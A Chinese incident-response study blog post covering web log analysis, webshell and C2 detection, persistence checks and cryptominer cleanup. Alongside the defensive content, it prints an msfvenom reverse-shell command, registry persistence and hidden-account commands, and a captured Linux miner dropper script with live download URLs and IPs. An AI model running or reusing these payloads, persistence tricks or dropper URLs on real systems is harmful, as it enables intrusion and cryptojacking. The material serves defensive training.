第213天-215天：应急响应篇&C2后门&权限维持手法&windows&linux基线检查&排查封锁清理

Yatming的博客2025-09-122025-08-04

web攻击事件&后门查杀&日志分析&流量解密&攻击链梳理

获取当前web环境的组成架构（脚本，数据库，中间件，系统等）

分析思路：

利用时间节点筛选日志行为

1
2
3

定位攻击起始点：  通过最早出现的异常日志时间戳，还原攻击初始入口。
构建攻击时间线：  将分散在不同设备的日志按时间排序，形成完整攻击链。
识别协同攻击：	  多设备日志中同一时间窗口的异常行为，可能指向团伙攻击。

利用对漏洞进行筛选日志行为

如果时间跨度很大，有1年左右的日志，那么此时就可以通过漏洞来对日志进行一个筛选，比如常见的RememberMe这个就是shiro漏洞。Log4j 漏洞的 JNDI 注入字符串（ldap://, rmi://）等等筛查

利用后门查杀进行筛选日志行为

作为红队攻击者来说，拿下shell之后，蓝队可以找到这个后门，然后观察这个后门的时间，然后在根据这个时间去定位日志的大概位置，通过对shell的文件名，在日志中是谁访问过这个shell。然后在定位这个访问者的上下访问时间，还原攻击时间和攻击过程。

利用文件修改时间筛选日志行为

1	部分攻击动作会对文件进行一个文件修改的操作。那么此时蓝队就可以通过可疑的文件修改操作，定位上下文时间。

web日志分析

明确存储路径及查看细节
IIS，Apache，Tomcat，Nginx等

数据库日志分析
Mysql，Mssql，oracle，Postgresql等

Apache：
- 默认日志存放路径6：在 Linux 系统中，通常为/etc/httpd/logs/或/var/log/httpd/，访问日志文件名为access_log，错误日志文件名为error_log。在 Windows 系统中，若使用 XAMPP 等集成环境，默认路径可能是安装目录\apache\logs\，如D:\xampp\apache\logs\。
- 通过配置文件查找11：Apache 的主配置文件通常是/etc/apache2/httpd.conf或/etc/apache2/apache2.conf。可以使用apachectl -V | grep SERVER_CONFIG_FILE命令来确定配置文件的位置。打开配置文件后，使用文本编辑器的查找功能，搜索ErrorLog指令来定位错误日志路径，搜索CustomLog或TransferLog指令来定位访问日志路径。
Nginx：
- 默认日志存放路径：默认的访问日志位置是/var/log/nginx/access.log，默认的错误日志位置是/var/log/nginx/error.log。
- 通过配置文件查找：Nginx 的主配置文件通常位于/etc/nginx/nginx.conf，也可能在/etc/nginx/conf.d/目录下有相关配置文件。可以使用grep -r "access_log" /etc/nginx/命令来快速定位访问日志路径的配置项，使用grep -r "error_log" /etc/nginx/命令来定位错误日志路径的配置项。
Tomcat：
- 默认日志存放路径：通常存放在 Tomcat 安装目录下的logs目录中，例如/usr/local/tomcat/logs/。主要日志文件有catalina.out、catalina.日期.log、localhost.日期.log等。
- 通过配置文件查找：Tomcat 的日志配置相关文件有conf/server.xml和conf/logging.properties。在server.xml中可以找到访问日志的配置，logging.properties中可以找到catalina、localhost等日志的配置，通过查看这些配置文件可以确定日志的实际存放路径。
Mysql
- 默认存放路径：在 Linux 系统中，二进制日志、错误日志、慢查询日志等通常在/var/lib/mysql/目录下，文件名如hostname -bin.log、hostname.err、hostname-slow.log等。在 Windows 系统中，日志文件可能位于C:\ProgramData\MySQL\MySQL Server X.Y\Data\目录下，文件名类似 Linux 系统。
- 查看配置文件路径：Linux 系统中通常是/etc/my.cnf或my.ini文件，Windows 系统中可能是my.ini文件。在配置文件中，可查找log_bin、log_error、slow_query_log_file等配置项来确定日志路径。也可以登录 MySQL 命令行界面，使用SHOW VARIABLES命令查看与日志相关的系统变量值来确定日志路径。
Mssql
- 默认存放路径：SQL Server 的错误日志默认存放在C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\Log目录下（SQL Server 2019 为例，版本不同路径中的MSSQL15.MSSQLSERVER部分可能会有所不同）。
- 查看配置文件路径：可以通过 SQL Server Management Studio（SSMS）查看，连接到数据库实例后，右键点击 “服务器”，选择 “属性”，在弹出的窗口中选择 “数据库设置” 选项卡，即可看到错误日志的路径。也可以通过查询系统视图sys.traces来获取日志路径信息，执行语句SELECT * FROM sys.traces，其中path列显示了跟踪日志的路径，错误日志通常也在相关路径下。
Oracle
- 默认存放路径：Oracle 的告警日志（alert log）默认存放在$ORACLE_BASE/diag/rdbms/<db_name>/<instance_name>/trace目录下，其中$ORACLE_BASE是 Oracle 基目录，<db_name>是数据库名称，<instance_name>是实例名称。归档日志默认存放在$ORACLE_BASE/diag/rdbms/<db_name>/<instance_name>/archivelog目录下。
- 查看配置文件路径：可以通过查询数据库视图来获取日志路径信息。查询告警日志路径可使用语句SELECT VALUE FROM V$DIAG_INFO WHERE NAME = 'Default Trace File';，查询归档日志路径可使用语句SELECT DESTINATION FROM V$ARCHIVE_DEST WHERE STATUS = 'VALID' AND TYPE = 'ARCHIVELOG';。
Postgresql
- 默认存放路径：Postgresql 的运行日志pg_log默认路径是$PGDATA/pg_log，事务日志pg_xlog和pg_clog一般在$PGDATA下面的文件夹下，$PGDATA通常是 Postgresql 的数据目录，默认是/var/lib/postgresql/data。
- 查看配置文件路径：日志实际路径可以在$PGDATA/postgresql.conf文件中设置，通过查看该文件中的log_directory参数来确定pg_log的路径。

IIS

查看web的日志，直接在网站的配置界面：

直接选择上图的日志。

这里就是iis的日志目录，直接将这个路径进行复制，然后可以得到下图：

可以看到这里的格式是一个：W3SVC1这里的1就是跟下面的编号进行一个绑定的。如果这里的编号是2 ，那么对应的这里的名字也会是：W3SVC2

Apache的默认日志路径

视频中小迪是集成环境，所以路径就是在集成环境下的路径，如果是直接的linux的默认路径就是：/var/log/httpd/下：

分析一下日志结构，第一个是ip是访问者的IP地址，这里由于是本地，所以这里的ip地址是本地ip的网关，如果是真实环境的话，这里就是访问者的ip地址。

1	这里有一个问题就是只能看到get请求的详细信息，不能看到post提交的具体内容。

Tomcat+jsp（基于后门查杀筛选日志）

这里上传一个jsp的后门：

访问：http://192.168.179.130:8080/1/1.jsp

1	找到日志文件中最早访问的位置，然后往上面观察就是上传的路径

总结：通过软件查杀软件，找到后门文件，然后在通过查看日志，看看是谁访问了这个文件，在判断第一次访问的时间点，然后对应的访问这个文件的ip就是攻击者，然后在定位这个ip前面做了什么事情，那么这个ip的访问过程有可能就是攻击利用的过程。

这里就是第一次访问的地址：

Web攻击链分析

Tomcat+jsp 攻击者已经通过后台上传war包方式上传了一个哥斯拉shell，蓝队人员如何通过流量分析出shell是哥斯拉的的流量。

使用kali连接虚拟机的jsp马。然后使用Wireshark进行分析：

查看http的数据包，然后追踪流：

然后使用工具，解密流量：

看内容，可以看到执行的是文件浏览的操作。

这里是一个whoami的操作。

java漏洞靶场—反序列化

建议使用JDK1.8版本运行（其他版本可能失败或漏洞复现失败）
环境：JDK1.8 MYSQL5.7

1、启动PHPstudy内置mysql服务
2、修改root密码为123456
3、创建数据库javasec，导入SQL执行
4、运行如下命令
java -jar javasec-0.0.1-SNAPSHOT.jar


访问路径：http://10.20.0.115:8000/home
有的时候必须加上这个home这个目录，可以试着加上这个目录。


研判工具箱项目地址：
https://github.com/abc123info/BlueTeamTools

然后选择shiro漏洞，使用工具对其进行一个攻击（这里环境问题就直接使用视频里面的截图了）

然后在观察流量。

shiro漏洞和其他的不一样，他的主要数据包是在remeberMe后面的值，将这个值放到研判工具箱中进行解密：

针对各种OA的流量

项目地址：

1	https://github.com/wafinfo/DecryptTools

webshell检测平台

https://ti.aliyun.com/#/webshell		#阿里云在线检测webshell
https://stack.chaitin.com/security-challenge/webshell/index		#牧云
https://www.shellpub.com/				#河马
http://tools.bugscaner.com/killwebshell/		#在线webshell查杀-灭绝师太版本
https://www.shelldetector.com/			#Web Shell Detector
https://www.d99net.net/					#D盾


各类杀毒软件：
火绒，各种电脑管家，360，defender，Nod32等

C2后门

1 2	常见的： MSF，CS，viper，sliver，vshell，havoc， Sidewinder（响尾蛇）等等

首先上线cs。

如果你想要通过网络这个选项找到cs的后门连接的话，那么这里需要将sleep设置为0

sleep 0

#分析
cs默认是有一个延迟的操作的，默认的话好像是60秒，在这个60秒内你可以输入任何命令，然后在输入之后不会立马执行，而是会在60到的时候一次性执行所有命令。

这个时候才能看到网络连接，不然默认是60秒进行连接一次，那么只有在60秒执行命令的那个瞬间才能捕获到这个网络连接。

ps：然后这个火绒剑应该没有那个需要重启才可以刷新网络进程，直接刷新就行。

同样在进程中也可以看到这个进程，但是火绒剑没有标识他为未知或者可疑进程。

放到微步在线的云沙箱中进行检测：

1	https://s.threatbook.com/

定性方法：

1：人工分析
数据包分析：
通过一些数据包的特征，来判断使用的是什么工具进行连接。

文件逆向分析：
通过对后门的逆向分析，从本质上判断这个是一个什么后门。

2：平台分析
通过模拟环境（沙箱），然后在这个环境中执行这个文件。
ip或者域名：通过威胁感知平台，如果这个ip或者域名有被标记，就会可以在威胁感知平台上面标红。

Cobalt Strike 在网络流量包中具有多种特征，以下是详细介绍：

HTTP 请求特征：HTTP beacon 通信中，默认使用 GET 方法向 /dpixel、/__utm.gif、/pixel.gif、/load 等地址发起请求。同时请求头存在 cookie 字段，且值为 Base64 编码后的非对称算法加密数据。使用 Cobalt Strike 下达指令时，会出现 POST 请求 /sumbit.php?id=xxx 的特征。
DNS 请求特征：DNS beacon 通信中，默认使用 “cdn.”、“www6.”、“api.”、“www.”、“post.” 为开头发起 DNS 请求，并且查询结果伴随 0.0.0.0、0.0.0.80、0.0.0.241 等非常规 IP。
User - Agent 特征：在 Cobalt Strike 4.0 之前的版本中，User - Agent 头是固定的，不会变化，特征比较明显。在 4.0 之后的版本中 User - Agent 头开始随机生成，以避免被检测到。
Checksum8 特征：运行 staging 模式的 PE 文件，会向指定服务器的 checksum8 路径发起请求来下载 stage。即使通过 profile 文件改变下载地址，C2 服务器依然会对 checksum8 地址请求作出响应。32 位的后门得到的结果是 92，64 位的后门得到的结果是 93。
证书特征：HTTPS beacon 通信中，默认使用空证书建立加密通道。如果没有修改 Cobalt Strike 的证书或者手动加载自定义证书，默认的 Cobalt Strike 证书可以直接判断出该工具是 Cobalt Strike。
通信频率和数据长度特征：被控端向 team server 发送心跳包，心跳包默认每 60 秒发送一次，两台主机之间的通信基本上是每隔 60 秒通信一次且上下行的数据长度固定，大致可以判断出是一个没有经过修改的 Cobalt Strike 与被控端之间交流的流量。
指令下发特征：下发指令时，通过心跳包接收指令，这时 server 端返回的包更长，甚至包含要加载的 dll 模块数据。在请求的返回包中，通信数据均隐藏在 jqeury*.js 中。

参考链接：https://cloud.tencent.com/developer/article/1937733

识别流量之后的处置

清理：
将进程树结束后删除，某些后门可能需要重启后删除或者降权删除

封锁：
防火墙封锁策略
1：进程名（不建议）
只能限制名字，改名字就不行了，基本没有什么用。

2:网络连接
直接限制ip地址，简单有效，但是会区分一个内网外网的问题。
如果是直接就是外网，直接将外网的IP地址进行封锁
如果是内网的情况，这个就说明你的内网已经被入侵了，攻击者开始横向移动了，所以这个时候除开封锁外网IP地址，还要排查出攻击者的攻击流程，内网中有没有攻击者留下的其他后门跳板机。

3:限制协议
c2的连接协议总共就那几种，直接限制对应的协议不能对其进行连接就行（但是我感觉是不现实的，首先如果是http，dns的协议，那么不会影响正常业务吗）

降权删除

文件或文件夹的降权删除：在 Windows 系统中，当遇到权限不足无法删除文件或文件夹时，可以通过降权来处理。首先关闭相关应用程序，然后右击文件或文件夹，选择 “属性”，切换到 “安全” 选项卡并点击 “高级”。在高级安全设置窗口中，点击所有者后面的 “更改”，输入 “Everyone” 并点击 “检测名称”，然后点击 “确定”，将其降权为 Everyone 权限。接着选中主体中的 SYSTEM 目录条，勾选上下两个选框并确定，系统提示是否继承权限时选择 “是”，之后就可以对该文件或文件夹进行删除操作了。

封锁ip地址

这的本地IP地址和远程ip地址，就是上图，192.168.179.134就是本地地址，远程地址就是：192.168.101.19

反制

可以通过抓取到c2的上线数据包，然后进行重放，达到批量上线干扰的目的

参考链接：https://www.freebuf.com/articles/network/286276.html

或者

攻击者的c2采用默认的后门，可以通过默认的端口进行连接，然后爆破连接的密码。

权限维持技术-分析检测

启动项

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\Users\Administrator\Desktop.exe" 
//把shell.exe放入启动项并命名为backdoor

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe"

通过启动项查找，右上角的搜索框可以直接搜关键字。但是我这里输入命令之后还是没有找到这个启动项

但是我重启之后，就可以看到这个启动项了。

隐藏账户

1	net user zhangsan$ 123.com /add

这里通过net user是看不到刚刚创建的用户的。可以通过：

映像劫持

1	REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe /c c:/ikun.exe"

当运行notepad的时候，就会执行：ikun.exe

屏保&登录

1
2
3

reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f //进入锁屏后会触发shell.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\shell.exe" //有人登录这台计算机的时候就会触发shell.exe

基线检测配合分析项目

windows:
https://github.com/DeEpinGh0st/WindowsBaselineAssistant
https://github.com/selinuxG/Golin
https://github.com/m-sec-org/d-eyes
https://github.com/FindAllTeam/FindAll

Linux:
https://github.com/selinuxG/Golin
https://github.com/m-sec-org/d-eyes/releases/tag/v1.3.0
https://github.com/sun977/linuxcheckshoot
https://github.com/Ashro-one/Ashro_linux
https://github.com/enomothem/Whoamifuck

WindowsBaselineAssistant

Golin

d-eyes

1 2	检查恶意文件： xxx.exe de fs

1	xxx.exe de netstat

FindAll

服务端直接运行：

客户端直接运行这个exe文件，运行之后，在c盘会得到下图红框中的文件，将这个文件放到服务端上传识别：

演示案例-蓝队技能-C2后门&权限维持-基线检查&查杀封锁-Linux

先使用msf正常生成一个后门

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.184 LPORT=7777 -f elf >shell.elf
将这个后门上传到目标服务器上面执行。

攻击者：
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set lhost 192.168.110.184
set lport 7777
run

网络连接这里同样可以看到有一个网络进行连接，msf和cs不一样没有心跳包机制，所以这里可以直接看到网络连接，cs只有在执行命令的时候才会进行有网络连接。

这里使用：

d-eyes
Golin

d-eyes在linux检测： xxx de check

这个些工具和在windows上的效果差不多，只不过是执行的参数不一样。

Whoamifuck

1	./who.sh -u

Ashro_linux

1	./Ashro_linux.sh

linuxcheckshoot

1
2
3

1、linuxGun.sh 是新版本应急响应工具，功能已经封装成不同的模块函数，支持交互式应急，运行指定一个或者多个功能模块，也可以一把梭然后分析日志报告。

2、linuxcheck.sh 是旧版本一把梭工具，功能齐全但是未封装成函数，不支持交互式。

会将执行结果放到这个目录中：

交互式就可以可以单独执行某个参数，可以不用每次测试都是全部，可以单独测试某个单独的功能点

挖矿病毒&系统样本家族&威胁情报&异常定性&排查分析&处置封锁

windows

挖矿病毒
随着虚拟货币的疯狂炒作，挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一。可以利用个人电脑或服务器进行挖矿，具体现象为CPU拉满，网络阻塞，服务器卡顿等。

挖矿病毒的大致运行植入原理

上传执行（怎么造成）
攻击者通过上传执行程序或脚本
运行程序或脚本，会清理其他同行程序
下载的挖掘程序，并写入权限维持技术

1
2

要分析对方怎么拿到的服务器权限，需要先知道系统开了哪些端口服务、WEB服务。再来判断这些服务是不是存在突破点(弱口令、未授权、RCE漏洞等)
一般挖矿都是工具自动化批量扫弱口令、未授权等方式进来的。

排查方向

危害：CPU拉满，网络阻塞，服务器卡顿等

分析定性

进程找到文件，文件上传威胁情报平台解析分析
网络找到外链，URL&IP上传威胁情报平台解析分析

应急处置

排重启生效项（启动项，计划计时任务等）
排查入口攻击点（借助什么攻击或漏洞进入）
及时隔离主机，阻断异常网络通信

上图这个java.exe就是挖矿程序。

运行之后CPU一下子就拉满了。

关闭之后立马就降了。

这个样本的话就是将启动项写到计划任务里面去了。

将其进程结束之后，然后重启电脑之后发现这个进程还是存在，。

打开这个文件之后，可以看到这个是一个收币的地址。

将这个地址放到微步在线上面进行搜查：

如何永久干掉这个进程：

查看注册表。

删除这条进程。这样就算是把这个进程干掉了。

分析第三个样本：

运行这个程序，cpu直接就又满了。

其中有一个配置文件，打开这个配置文件，可以同样找到url，然后将这个url放到微步在线上进行一个搜查。

同样是一个矿池地址。

linux

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur
miner_url="https://de.gsearch.com.de/api/sysupdate"
miner_url_backup="http://45.9.148.37/E5DB0E07C3D7BE80V201007/sysupdate"
miner_size="1102480"
sh_url="https://de.gsearch.com.de/api/update.sh"
sh_url_backup="http://45.9.148.37/E5DB0E07C3D7BE80V201007/update.sh"
config_url="https://de.gsearch.com.de/api/config.json"
config_url_backup="http://45.9.148.37/E5DB0E07C3D7BE80V201007/config.json"
config_size="3356"
scan_url="https://de.gsearch.com.de/api/networkservice"
scan_url_backup="http://45.9.148.37/E5DB0E07C3D7BE80V201007/networkservice"
scan_size="1919080"
watchdog_url="https://de.gsearch.com.de/api/sysguard"
watchdog_url_backup="http://45.9.148.37/E5DB0E07C3D7BE80V201007/sysguard"
watchdog_size="1472144"

kill_miner_proc()
{
    ps auxf|grep kinsing| awk '{print $2}'|xargs kill -9
    ps auxf|grep kdevtmpfsi| awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "zhuabcn@yahoo.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
    ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
    ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
    ps ax|grep -o './[0-9]* -c'| xargs pkill -f
	ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f systemctI
    pkill -f WmiPrwSe
	sleep 1
	netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
	netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
	netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :4444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	netstat -anp | grep :14433 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
	ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
	ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
